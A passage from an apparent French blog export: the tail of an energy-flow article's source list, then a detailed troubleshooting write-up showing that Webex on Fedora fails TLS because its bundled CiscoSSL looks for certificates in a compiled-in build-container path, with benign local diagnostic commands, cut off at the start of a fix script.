de l\u0026rsquo;économie qui vient de ne pas transporter de carburant. Pas de pétrolier, pas de station-service, pas de raffinerie qui prend sa dîme au passage. Les panneaux sont à dix mètres de la voiture.\nLe diagramme est un miroir Livermore publie ces diagrammes depuis des années et ils sont bons. Bâtis honnêtement, vraiment utiles, gratuits. Ils valent une heure du temps de n\u0026rsquo;importe qui.1\nMais un diagramme de Sankey n\u0026rsquo;a pas d\u0026rsquo;opinion. Il vous montre à l\u0026rsquo;échelle ce qu\u0026rsquo;un pays a décidé de faire de son énergie. Les 65,8 % ne sont pas une loi de la physique. C\u0026rsquo;est une image de choix sur les moteurs, les tuyaux et l\u0026rsquo;aménagement, pris un par un pendant environ soixante-dix ans, et elle serait différente si les choix l\u0026rsquo;avaient été.\nLe diagramme du Danemark est différent parce que le Danemark a creusé.\nSources Lawrence Livermore National Laboratory — Energy Flow Charts — les diagrammes de Sankey annuels de l\u0026rsquo;énergie américaine, dont celui de 2024 et son total de 94,6 × 10¹⁵ BTU.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nKate Morley — National Grid : Live — la demande d\u0026rsquo;électricité de Grande-Bretagne, à 30,9 GW en moyenne sur l\u0026rsquo;année écoulée, ce qui fait environ 271 TWh par an. J\u0026rsquo;ai écrit ce que montre ce tableau de bord dans Le réseau que nous avons réparé.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nHawai\u0026rsquo;i State Energy Office — Statewide Energy Flowchart — expose la méthodologie de l\u0026rsquo;EIA que suit Livermore, selon laquelle le solaire distribué, l\u0026rsquo;hydroélectricité, l\u0026rsquo;éolien terrestre et le solaire au sol entrent en supposant un rendement de production de 100 % et sans pertes thermiques représentées.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nEVreporter — Understanding the complete efficiency picture of electric vehicles — les rendements du réservoir aux roues et de la batterie aux roues pour les chaînes thermiques et électriques.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nConcawe — EU refinery energy systems and efficiency — l\u0026rsquo;autoconsommation d\u0026rsquo;énergie d\u0026rsquo;une raffinerie en part du brut entrant, de 3–4 % pour une simple distillation à 7–10 % et plus pour des installations à conversion complète.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUS Energy Information Administration — How much electricity is lost in transmission and distribution? — les pertes annuelles américaines de transport et de distribution ont représenté en moyenne environ 5 % de l\u0026rsquo;électricité transportée, de 2018 à 2022.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUNCTAD — World seaborne trade — la part des pétroliers dans la flotte mondiale en port en lourd, et les volumes de brut et de produits raffinés déplacés par mer.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nUS Energy Information Administration — Light-duty vehicles\u0026rsquo; share of transportation energy use — les véhicules légers à 58,5 % de l\u0026rsquo;énergie des transports américains, les camions moyens et lourds et les bus à 23,9 %, et l\u0026rsquo;aérien seul autre mode au-dessus de 5 %.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCar dependency — Wikipedia et CNN — This little-known rule shapes parking in America — les kilomètres en voiture par habitant aux États-Unis face à l\u0026rsquo;Europe, la part des déplacements quotidiens et des déplacements de moins d\u0026rsquo;un mile faits en voiture de chaque côté de l\u0026rsquo;Atlantique, les quelque huit places de stationnement par voiture produites par les minima de stationnement, et la divergence des politiques urbaines à partir de la fin des années 1960.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nBureau of Transportation Statistics — Energy intensity of passenger modes et Public transport versus private cars : a passenger-kilometre energy comparison — l\u0026rsquo;énergie par voyageur-kilomètre des voitures à essence face au rail électrique urbain bien rempli, le rapport d\u0026rsquo;émissions entre une voiture avec une seule personne et un autocar plein, et la hausse de l\u0026rsquo;énergie par voyageur-mile en bus à mesure que le remplissage baissait.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nTransportation in the United States — Wikipedia et Statista — Share of the rail network which is electrified in Europe — la part américaine des voyageurs-miles en transport public et en véhicule privé, et la voie électrifiée en part du réseau dans l\u0026rsquo;UE face aux Amériques.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nStreetsblog USA — Other countries are building transit while the US falls behind et Metros reduce car use in European cities but trams do not — le nombre de villes américaines et européennes dotées d\u0026rsquo;un métro et d\u0026rsquo;un tramway, le rythme de croissance des kilomètres de métro depuis 2000 de chaque côté, et le constat que les métros déplacent les trajets en voiture là où les réseaux de tramway ne le font largement pas.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nState of Green — Utilising excess heat to warm up Danish homes — la part danoise du chauffage urbain dans la demande de chaleur domestique, et la récupération de chaleur fatale des centres de données, dont les chiffres d\u0026rsquo;exportation d\u0026rsquo;Odense.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nGreater London Authority — Heat networks data report, February 2026 — le parc britannique éclaté de réseaux de chaleur et sa part actuelle de la demande de chaleur.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nATMOsphere — European transcritical CO₂ installations — 111 650 sites commerciaux et industriels européens au CO₂ transcritique en 2025, couvrant environ un tiers des points de vente alimentaires.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nDepartment for Energy Security and Net Zero — Heat Network Zoning : government response — le cadre de zonage, la régulation par l\u0026rsquo;Ofgem à partir de janvier 2026, et les objectifs 2035 et 2050.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNaturalRefrigerants.com — CO₂ heat pumps found to offer high efficiency at low ambient temperature in electric vehicles — les performances d\u0026rsquo;une pompe à chaleur automobile R-744 à basse température extérieure, et les réalisations des VW ID.3 et ID.4.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nInsideEVs — For maximum winter EV driving range, you want a car with this feature — le test hivernal de l\u0026rsquo;ADAC sur 28 véhicules électriques et l\u0026rsquo;écart de perte d\u0026rsquo;autonomie à −7 °C.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nNaturalRefrigerants.com — FAQs — le CO₂ de qualité frigorigène en sous-produit récupéré de la production d\u0026rsquo;ammoniac, d\u0026rsquo;alcool et d\u0026rsquo;engrais, et son pouvoir de réchauffement global de 1.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/fr/energy/rejected-energy-what-the-livermore-chart-shows/","summary":"Lawrence Livermore publie chaque année un diagramme de Sankey montrant où passe l\u0026rsquo;énergie américaine. En 2024, 62,27 des 94,61 quads n\u0026rsquo;ont produit aucun travail utile. Ce que veut dire énergie rejetée et ce qu\u0026rsquo;est un quad, pourquoi la méthode du diagramme fait rétrécir ce bloc quand on ajoute des renouvelables au lieu de le gonfler, pourquoi les transports à eux seuls font plus d\u0026rsquo;un tiers du gaspillage national, et les trois choses qui le corrigeraient vraiment.","title":"L'énergie rejetée : ce que montre vraiment le diagramme de Livermore"},{"content":"Webex pose une bannière jaune en haut de la fenêtre. Offline - No internet connection. Les services téléphoniques apparaissent déconnectés, rien ne se synchronise, et vous ne pouvez pas rejoindre la réunion commencée il y a quatre-vingt-dix secondes.\nCe n\u0026rsquo;est pas un désagrément quand la chose est votre téléphone de travail. C\u0026rsquo;est par Webex que mes appels arrivent, et ma ligne VoIP passe par là, donc un client qui refuse de s\u0026rsquo;authentifier, c\u0026rsquo;est un poste fixe qui ne sonne pas, une réunion où je ne suis pas, et un collègue qui tombe sur la messagerie. Ça m\u0026rsquo;a empêché de travailler. Pas ralenti, pas dégradé. Arrêté.\nEt rien de tout ça ne dépendait de moi, ni pour le causer ni pour l\u0026rsquo;éviter. Une journée de travail est partie de travers à cause d\u0026rsquo;un contrôle qualité qui n\u0026rsquo;a pas été appliqué, chez un fournisseur qui est payé, sur un produit vendu avec un contrat de support, contre une plateforme que sa propre page d\u0026rsquo;exigences dit prise en charge. Je n\u0026rsquo;ai rien mal configuré. J\u0026rsquo;ai installé le paquet de l\u0026rsquo;éditeur, depuis le dépôt de l\u0026rsquo;éditeur, sur une plateforme que l\u0026rsquo;éditeur liste, et il n\u0026rsquo;a pas pu ouvrir une connexion TLS. Puis j\u0026rsquo;ai passé une soirée de mon temps à découvrir pourquoi, c\u0026rsquo;est-à-dire le temps que les gens qui ont signé le paquet n\u0026rsquo;ont pas passé.\nLa machine n\u0026rsquo;est pas hors ligne. Le navigateur à côté charge des pages. Votre courrier arrive, votre terminal tire depuis un dépôt distant, et si vous demandez au système d\u0026rsquo;exploitation s\u0026rsquo;il atteint internet il répond oui. Webex lui-même en convient, dans son propre journal, onze secondes avant de vous dire le contraire.\nCe qui s\u0026rsquo;est réellement passé, c\u0026rsquo;est que la copie d\u0026rsquo;OpenSSL que Cisco livre dans Webex ne trouve pas une seule autorité de certification, parce qu\u0026rsquo;elle a été compilée pour les chercher dans /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl. C\u0026rsquo;est un répertoire sur un conteneur de build Cisco. Il n\u0026rsquo;a jamais existé sur votre ordinateur et il n\u0026rsquo;existera jamais. Toute connexion TLS de l\u0026rsquo;application échoue à la vérification du certificat, le jeton de connexion ne peut pas être renouvelé, un minuteur de quinze secondes expire, et l\u0026rsquo;interface attrape la seule explication pour laquelle elle a une chaîne de caractères.\nLa bannière est donc fausse d\u0026rsquo;une manière précise et peu utile. Elle désigne votre réseau. La faute est un chemin dans leur build.\nIl s\u0026rsquo;agit de la version 46.8.0.35631, sur Fedora 44, noyau 7.2.4. C\u0026rsquo;est une plateforme prise en charge. Cisco publie des exigences système Linux et livre un .rpm signé, webex-46.8.0.35631-1.x86_641. Ce qui suit, c\u0026rsquo;est comment le prouver en une dizaine de minutes, pourquoi aucun des correctifs évidents ne marche, celui qui marche, et ensuite la partie qui compte plus que tout le reste : ce n\u0026rsquo;est pas un bug subtil. C\u0026rsquo;est un build que personne n\u0026rsquo;a jamais lancé sur une machine qui ne l\u0026rsquo;avait pas construit.\nCe que la bannière vous dit vraiment Webex pilote son affichage de connectivité avec un automate composite, sept sous-automates ayant chacun ses minuteurs. Au démarrage ils s\u0026rsquo;initialisent ainsi :\nConnectivityStateMachine::ConnectivityBanner - Initializing with state: Connected ConnectivityStateMachine::Network - Initializing with state: NoNetwork ConnectivityStateMachine::Services - Initializing with state: Connected ConnectivityStateMachine::Mercury - Initializing with state: Disconnected ConnectivityStateMachine::Authentication - Initializing with state: UserNotAuthenticated ConnectivityStateMachine::Syncing - Initializing with state: Synced ConnectivityStateMachine::Survivability - Initializing with state: SurvivabilityHide Quarante millisecondes plus tard le système d\u0026rsquo;exploitation répond, et l\u0026rsquo;application le consigne :\nNetworkManagerPowerNetworkWatcher.cpp:93 onConnectivityCheckSuccess:: The host is connected to a network, that appears to be able to reach the full Internet. Cette ligne est dans le même fichier, dans la même session, que la bannière affirmant qu\u0026rsquo;il n\u0026rsquo;y a pas de connexion internet. L\u0026rsquo;application savait. Elle avait la réponse en main à 08:25:12.131 et a affiché le contraire à 08:25:27.132.\nEntre ces deux moments, ceci :\nHeure Ce qui s\u0026rsquo;est passé 08:25:12.131 Le système d\u0026rsquo;exploitation confirme l\u0026rsquo;accès complet à internet 08:25:12.218 Détection de proxy : aucun configuré, connexion directe 08:25:12.241 La première requête HTTPS échoue, errorCode: 167772294 Error in SSL handshake 08:25:12.569 Le renouvellement du jeton CloudApps échoue, même code 08:25:12.571 Le renouvellement du jeton Kms échoue, même code 08:25:15.684 Nouvel essai, les deux échouent 08:25:21.745 Nouvel essai, les deux échouent 08:25:27.132 Le minuteur de quinze secondes expire, la bannière bascule sur NoInternet 08:26:12.091 Les minuteurs de soixante secondes expirent, les services tombent en DisconnectedShortTerm Le sous-automate d\u0026rsquo;authentification ne quitte jamais UserNotAuthenticated, donc Services se déduit comme déconnecté, donc la bannière se déclenche. Chacune de ces étapes est un comportement correct vu l\u0026rsquo;entrée. L\u0026rsquo;entrée est fausse, et l\u0026rsquo;entrée est un nombre : 167772294, sur chaque requête en échec, de la première à la dernière.\nCe nombre, c\u0026rsquo;est tout l\u0026rsquo;article. Gardez-le en tête.\nTrois chemins, dont aucun n\u0026rsquo;existe Webex n\u0026rsquo;utilise pas l\u0026rsquo;OpenSSL du système. Il apporte le sien, avec sa propre libcurl, et cette libcurl se lie à celui qui est livré plutôt qu\u0026rsquo;au vôtre :\n$ ldd /opt/Webex/bin/libcurl.so | grep -E \u0026#39;ssl|crypto\u0026#39; libssl.so.3 =\u0026gt; /opt/Webex/bin/../lib/libssl.so.3 libcrypto.so.3 =\u0026gt; /opt/Webex/bin/../lib/libcrypto.so.3 Jusqu\u0026rsquo;ici pas de problème. Livrer sa propre bibliothèque TLS est un choix défendable et beaucoup d\u0026rsquo;éditeurs le font. Ce qui compte, c\u0026rsquo;est ce qui a été cuit dedans, et OpenSSL vous le dira si vous demandez :\n$ strings /opt/Webex/lib/libcrypto.so.3 | grep -E \u0026#39;OPENSSLDIR|ENGINESDIR|MODULESDIR\u0026#39; OPENSSLDIR: \u0026#34;/workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl\u0026#34; ENGINESDIR: \u0026#34;/workspace/.conan2/p/b/cisco8ee8b59cf93de/p/lib/engines-3\u0026#34; MODULESDIR: \u0026#34;/workspace/.conan2/p/b/cisco8ee8b59cf93de/p/lib/ossl-modules\u0026#34; Trois. Pas un réglage qui a glissé. Le préfixe d\u0026rsquo;installation entier, transporté depuis la machine qui l\u0026rsquo;a compilé, dans une bibliothèque qui atteint le client sous forme de paquet signé sur une plateforme prise en charge.\nOPENSSLDIR se règle une fois, au moment de la configuration, avec --openssldir, et la documentation de build d\u0026rsquo;OpenSSL est nette sur son rôle : « Directory for OpenSSL configuration files, and also the default certificate and key store. »2 Tout ce qui pend sous la confiance y est accroché. Le fichier CA par défaut est cert.pem à l\u0026rsquo;intérieur et le répertoire CA par défaut est certs à l\u0026rsquo;intérieur3. /workspace est un cache de build Conan. Conan est le gestionnaire de paquets C++ avec lequel Cisco construit, et il range chaque paquet sous une empreinte de ses entrées de build4. L\u0026rsquo;empreinte cisco8ee8b59cf93de est un fait au sujet d\u0026rsquo;un conteneur probablement supprimé quelques minutes après la fin du build.\nDemandez à la bibliothèque ce qu\u0026rsquo;elle est, et ce n\u0026rsquo;est même pas de l\u0026rsquo;OpenSSL d\u0026rsquo;origine :\nVERSION CiscoSSL 3.5.5.8.5.4 27 Jan 2026 BUILT_ON built on: Wed Feb 25 06:29:18 2026 UTC PLATFORM platform: conan-Release-Linux-x86_64-gcc-13 DIR OPENSSLDIR: \u0026#34;/workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl\u0026#34; Un fork maison entretenu, avec son propre schéma de versions, construit en février, livré en août, et transportant toujours le répertoire de travail où il a été fabriqué.\nOù chaque copie d'OpenSSL de la machine cherche ses ancres de confiance Une machine, deux copies d'OpenSSL, et une seule sait où sont les certificats Aucune ne se le voit dire à l'exécution. Chacune porte la réponse compilée en dur, et cette chaîne est posée par qui lance le build. La copie système : OpenSSL 3.5.8, Fedora 44 OPENSSLDIR compilé en dur /etc/pki/tls le répertoire est là cert.pem \u0026#8594; tls-ca-bundle.pem certs/ \u0026#8594; ancres hachées la chaîne est vérifiée contre de vraies ancres La poignée de main aboutit. Tout le reste marche. D'où la certitude de l'utilisateur que le réseau va bien. La copie livrée par Webex : CiscoSSL 3.5.5.8.5.4 OPENSSLDIR compilé en dur /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl aucun répertoire de ce nom chez un client cert.pem \u0026#8594; absent certs/ \u0026#8594; absent le magasin charge zéro ancre de confiance Échec : erreur 0x0A000086, 167772294 en décimal. La bannière montrée dit que le réseau est coupé. Deux copies d\u0026rsquo;OpenSSL sur une machine. Ni l\u0026rsquo;une ni l\u0026rsquo;autre ne se voit dire à l\u0026rsquo;exécution où se trouve la confiance. Chacune porte une chaîne compilée en dur, et l\u0026rsquo;une de ces chaînes nomme un répertoire qui n\u0026rsquo;a jamais existé que sur l\u0026rsquo;hôte de build de quelqu\u0026rsquo;un d\u0026rsquo;autre. Ne prenez pas strings pour une réponse. Demandez à la bibliothèque strings trouve du texte dans un fichier. Il ne prouve pas que la bibliothèque s\u0026rsquo;en sert. Alors chargez la bibliothèque livrée et demandez-lui directement, ce qui prend une douzaine de lignes de Python et aucun accès root :\nimport ctypes c = ctypes.CDLL(\u0026#34;/opt/Webex/lib/libcrypto.so.3\u0026#34;) for f in (\u0026#34;X509_get_default_cert_file\u0026#34;, \u0026#34;X509_get_default_cert_dir\u0026#34;, \u0026#34;X509_get_default_cert_file_env\u0026#34;, \u0026#34;X509_get_default_cert_dir_env\u0026#34;): getattr(c, f).restype = ctypes.c_char_p print(f\u0026#34;{f:34} {getattr(c, f)().decode()}\u0026#34;) X509_get_default_cert_file /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl/cert.pem X509_get_default_cert_dir /workspace/.conan2/p/b/cisco8ee8b59cf93de/p/ssl/certs X509_get_default_cert_file_env SSL_CERT_FILE X509_get_default_cert_dir_env SSL_CERT_DIR Voilà, de la bouche même de la bibliothèque. Quand quoi que ce soit dans Webex demande à cette copie d\u0026rsquo;OpenSSL le magasin de confiance par défaut, on lui tend un fichier et un répertoire qui n\u0026rsquo;existent pas. C\u0026rsquo;est ce que fait SSL_CTX_set_default_verify_paths, et c\u0026rsquo;est ce que fait presque tout client à moins qu\u0026rsquo;on lui ait dit autre chose.\nLes deux dernières lignes méritent d\u0026rsquo;être notées, car elles sont l\u0026rsquo;issue de secours : la bibliothèque laisse SSL_CERT_FILE et SSL_CERT_DIR écraser les deux5. Retenez ça aussi. Ça devient important, et pas de la façon que vous croyez.\nReproduire le code d\u0026rsquo;erreur exact Une preuve par inspection n\u0026rsquo;est pas une preuve. Prenez les libssl.so.3 et libcrypto.so.3 livrées, faites une vraie poignée de main vers un vrai hôte avec rien d\u0026rsquo;autre que les valeurs par défaut de la bibliothèque, et regardez ce qui revient.\nL\u0026rsquo;essai intéressant est celui où les valeurs par défaut ne pointent sur rien. SSL_CERT_FILE et SSL_CERT_DIR écrasent exactement les deux valeurs qu\u0026rsquo;un OPENSSLDIR absent laisse pendantes, donc les pointer sur un chemin qui n\u0026rsquo;existe pas reproduit la condition livrée avec précision :\n$ SSL_CERT_FILE=/nonexistent/cert.pem SSL_CERT_DIR=/nonexistent/certs python3 tls.py set_default_verify_paths -\u0026gt; 1 set_fd -\u0026gt; 1 SNI -\u0026gt; 1 SSL_connect -\u0026gt; -1 SSL_get_error -\u0026gt; 1 verify result 20: unable to get local issuer certificate err: 0xa000086 error:0A000086:SSL routines::certificate verify failed 0x0A000086 en décimal, c\u0026rsquo;est 167772294.\nC\u0026rsquo;est le nombre présent dans chaque ligne en échec du journal Webex, et il ne venait pas de Webex. Il venait de la bibliothèque TLS de Cisco elle-même, tournant en dehors de leur application, échouant pour exactement une raison : elle n\u0026rsquo;avait aucune ancre de confiance contre laquelle vérifier la chaîne. Même bibliothèque, même erreur, aucune application entre les deux.\nPointez les deux mêmes variables sur le vrai paquet Fedora et le même chemin de code aboutit :\n$ SSL_CERT_FILE=/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem python3 tls.py SSL_connect -\u0026gt; 1 SSL_get_error -\u0026gt; 0 verify result 0: ok Rien du réseau n\u0026rsquo;a changé entre ces deux essais. Un chemin de fichier, si.\nChaque étape réseau réussit. Celle qui échoue ouvre un fichier local. Quatre étapes traversent le réseau et réussissent. La cinquième lit un fichier et échoue. Exécuté contre les libssl.so.3 et libcrypto.so.3 livrées, hors de Webex, avec les seuls réglages par défaut de la bibliothèque. TCP connect :443 ok ClientHello, SNI ok ServerHello, chaîne ok, chaîne reçue vérifier la chaîne contre la confiance aucune ancre chargée ce que renvoie la bibliothèque SSL_connect -\u0026#62; -1 verify result 20: unable to get local issuer certificate err: 0xa000086 error:0A000086:SSL routines::certificate verify failed 0x0A000086 vaut 167772294 en décimal, le nombre de chaque ligne en échec du journal Webex. L'application n'a écrit le mot « certificat » nulle part. Elle a journalisé « Error in SSL handshake » et un entier décimal, et l'interface en a fait « Offline - No internet connection », la seule chose que la machine n'était manifestement pas. Rien ici n'est une panne réseau. Il ne manquait qu'un répertoire. Quatre étapes traversent le réseau et réussissent, y compris la réception de la chaîne de certificats complète du serveur. L\u0026rsquo;étape qui échoue ouvre un fichier local. On montre à l\u0026rsquo;utilisateur un message sur sa connexion internet. Pourquoi rien ne vous a averti Deux choses se liguent pour rendre ça silencieux, et une seule des deux est la faute de Cisco.\nCe qui ne dit jamais un mot Conception de qui Pourquoi ça reste muet Charger un magasin de confiance qui n\u0026rsquo;est pas là Celle d\u0026rsquo;OpenSSL, délibérément SSL_CTX_set_default_verify_paths renvoie 1 que les chemins soient réels ou non. « A missing default location is still treated as a success »3 N\u0026rsquo;avoir aucun repli Celle de Cisco, et correcte Certificats validés, auto-signés refusés, réessai SSL désactivé, donc aucun mode dégradé n\u0026rsquo;existe pour masquer une faute La première est raisonnable. Un programme qui livre ses propres ancres séparément ne devrait pas être forcé de s\u0026rsquo;en soucier, donc l\u0026rsquo;appel réussit, le magasin est vide, et rien nulle part dans la pile ne dit j\u0026rsquo;ai chargé zéro autorité de certification. La première chose qui s\u0026rsquo;en aperçoit est un échec de vérification une demi-seconde plus tard. J\u0026rsquo;ai lancé cet appel contre la bibliothèque livrée avec les chemins pointés sur /nonexistent et il a renvoyé 1. C\u0026rsquo;est dans la sortie ci-dessus.\nLa seconde est une politique qui descend du service, et le journal la consigne :\nWdm.cpp:1162 parseDeviceJson: Adding policy \u0026lt;\u0026lt; allowSelfSignedCertificate with value: false NetworkManager.cpp:1738 onConfigReady: ...httpRequestSSLRetryEnabled: 0 HttpRequestManager.cpp:1883 rawHttpRequest: {\u0026#34;validateCertificates\u0026#34;:\u0026#34;true\u0026#34;,\u0026#34;useClientCertificate\u0026#34;:\u0026#34;false\u0026#34;} Ces trois drapeaux sont la seule raison pour laquelle cette faute est une panne et pas quelque chose de bien pire, et ça vaut la peine de s\u0026rsquo;y arrêter plutôt que de passer vite.\nDéroulez-le. La bibliothèque livrée charge zéro ancre de confiance, et rien sous la couche de politique n\u0026rsquo;allait jamais le remarquer, parce que l\u0026rsquo;échec est silencieux par conception jusqu\u0026rsquo;en bas. Ce qui en a fait une bannière, ce sont trois drapeaux. Retournez-en un seul comme le font quantité de clients et le même build n\u0026rsquo;échoue pas du tout. Il se connecte, à n\u0026rsquo;importe quoi tenant n\u0026rsquo;importe quel certificat, parce qu\u0026rsquo;il n\u0026rsquo;a rien pour en vérifier un.\nLe même magasin de confiance cassé, à un drapeau de politique d'une faute très différente Le chemin de confiance est également cassé des deux côtés. Seule la politique décide comment vous l'apprenez. Commun aux deux : l'OPENSSLDIR compilé en dur n'existe pas, donc le magasin charge zéro autorité de certification Tel que Webex le livre validateCertificates: true allowSelfSignedCertificate: false httpRequestSSLRetryEnabled: 0 Rien contre quoi vérifier, donc il refuse. Échec. Bannière. Vous perdez une journée. Bruyant, et inoffensif. L'un d'eux réglé dans l'autre sens validateCertificates: false ou auto-signés autorisés ou réessai sans vérification Rien contre quoi vérifier, donc il continue. La poignée de main aboutit. Contre n'importe quoi. Silencieux, et pas inoffensif. Ce qui a séparé les deux issues, c'est une valeur de politique posée par une autre équipe, en aval du défaut, pour des raisons sans rapport. Le chemin de confiance ne protégeait personne. Il était cassé de bout en bout, et la seule question ouverte était dans quel sens il échouerait. La différence entre « Webex est hors ligne aujourd\u0026rsquo;hui » et « Webex a fait confiance à ce qui a répondu » tient à une valeur de politique posée par une autre équipe, en aval du défaut, pour des raisons qui n\u0026rsquo;ont rien à voir avec lui. Ce qui pose problème, c\u0026rsquo;est la façon dont ça remonte. L\u0026rsquo;utilisateur reçoit « Offline - No internet connection ». Le journal reçoit « Error in SSL handshake » et un entier décimal. Le mot certificat n\u0026rsquo;apparaît nulle part où un utilisateur ou un technicien de premier niveau ira jamais regarder, et la seule miette de diagnostic est un nombre qu\u0026rsquo;il faut convertir en hexadécimal pour qu\u0026rsquo;il signifie quoi que ce soit.\nLes correctifs qui n\u0026rsquo;ont pas marché Les deux évidents échouent, et les raisons sont différentes et toutes deux bonnes à connaître.\nModifier l\u0026rsquo;openssl.cnf livrée Webex livre un fichier de configuration dans /opt/Webex/lib/openssl.cnf, et tel qu\u0026rsquo;il est livré il n\u0026rsquo;active qu\u0026rsquo;un fournisseur :\n[provider_sect] fips = fips_sect FIPS seulement. Pas le fournisseur default, là où vivent les algorithmes TLS ordinaires6. Le rajouter est une modification d\u0026rsquo;une ligne et ça ne change rien du tout, parce que l\u0026rsquo;OpenSSL livré ne lit jamais ce fichier. Il cherche openssl.cnf à l\u0026rsquo;intérieur d\u0026rsquo;OPENSSLDIR7, et OPENSSLDIR est le chemin qui n\u0026rsquo;existe pas. Le fichier trône dans le répertoire d\u0026rsquo;installation avec un air officiel. Rien ne le lit.\nC\u0026rsquo;est un second défaut caché derrière le premier. Même si le problème de chemin était corrigé demain en pointant OPENSSLDIR sur /opt/Webex/lib, cette configuration se chargerait alors et n\u0026rsquo;activerait que FIPS. Et le module FIPS lui-même est chargé depuis MODULESDIR, le troisième chemin mort du même arbre, donc le fips.so livré dans /opt/Webex/lib reste introuvable lui aussi. Trois chemins, un préfixe erroné, et chacun cassé d\u0026rsquo;une façon qui cache le suivant.\nDéfinir les variables d\u0026rsquo;environnement La bibliothèque honore SSL_CERT_FILE et SSL_CERT_DIR. Je l\u0026rsquo;ai prouvé plus haut. L\u0026rsquo;essai réussi est juste là. Le geste évident est donc de les définir dans l\u0026rsquo;entrée de bureau, et c\u0026rsquo;est ce qui a été tenté :\nExec=env OPENSSL_CONF=/opt/Webex/lib/openssl.cnf \\ SSL_CERT_FILE=/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem \\ SSL_CERT_DIR=/etc/pki/tls/certs/ /opt/Webex/bin/CiscoCollabHost %U Aucun changement. Et la raison n\u0026rsquo;est pas que Webex ignore les variables. La raison est que le processus ne les a jamais reçues :\n$ tr \u0026#39;\\0\u0026#39; \u0026#39;\\n\u0026#39; \u0026lt; /proc/20293/environ | grep -E \u0026#39;SSL|OPENSSL|CURL\u0026#39; $ tr \u0026#39;\\0\u0026#39; \u0026#39;\\n\u0026#39; \u0026lt; /proc/20293/environ | wc -l 99 Quatre-vingt-dix-neuf variables dans le processus Webex en cours, et pas une seule des trois qui avaient été définies. Parce qu\u0026rsquo;il y a deux entrées de bureau du même nom sur cette machine :\nFichier Ce que sa ligne Exec lance Écrit par /usr/share/applications/webex.desktop la ligne env à trois variables ci-dessus, en entier le .rpm, puis modifié à la main ~/.local/share/applications/webex.desktop /opt/Webex/bin/CiscoCollabHost %U, et aucun environnement le lanceur de Webex lui-même Et la spécification n\u0026rsquo;est pas ambiguë sur celle qui gagne : « The base directory defined by $XDG_DATA_HOME is considered more important than any of the base directories defined by $XDG_DATA_DIRS. »8 $XDG_DATA_HOME vaut ~/.local/share. La copie utilisateur masque celle du paquet, à chaque fois, sur tout bureau qui suit la spécification9.\nWebex installe donc une seconde copie de son propre lanceur dans votre répertoire personnel, et c\u0026rsquo;est cette copie que votre bureau exécute. Modifiez le fichier du paquet autant que vous voulez. Vous éditez un document que rien ne lit.\nDeux entrées de bureau du même nom, et celle qui gagne est celle que Webex écrit pour lui-même L'environnement a été défini dans le fichier que le bureau ne lit jamais Deux entrées, un nom. L'ordre de recherche est écrit, et il ne favorise pas la copie du paquet. Modifiée à la main, et surclassée /usr/share/applications/webex.desktop Exec=env OPENSSL_CONF=... SSL_CERT_FILE=... jamais consultée tant que l'autre fichier existe Écrite par Webex, et elle gagne ~/.local/share/applications/webex.desktop Exec=/opt/Webex/bin/CiscoCollabHost %U aucun environnement défini écartée lancée Spécification des répertoires de base XDG : le répertoire de base défini par $XDG_DATA_HOME est considéré comme plus important que tous ceux définis par $XDG_DATA_DIRS. Preuve, tirée du processus en cours plutôt que du raisonnement : tr '\\0' '\\n' \u0026#60; /proc/20293/environ | grep -E 'SSL|OPENSSL' \u0026#8594; aucune sortie, 99 variables, aucune de celles-ci Le correctif était réel, le fichier était réel, et le processus visé a été lancé d'ailleurs. L\u0026rsquo;environnement a été défini dans le fichier que le bureau ne lit jamais. Webex écrit sa propre entrée sous le répertoire de données de l\u0026rsquo;utilisateur, la spécification dit que celle-là l\u0026rsquo;emporte sur celle du paquet, et la preuve est le processus en cours : quatre-vingt-dix-neuf variables d\u0026rsquo;environnement et aucune des trois. Le correctif qui marche Si la bibliothèque insiste sur un chemin, donnez-lui le chemin. Créez le répertoire qu\u0026rsquo;elle a été compilée pour vouloir et remplissez-le de liens symboliques vers le vrai :\n#!/bin/bash # Point the bundled CiscoSSL at the system trust store by building the # directory it was compiled to look for. Tested: Fedora 44, Webex 46.8.0.35631. set -euo pipefail 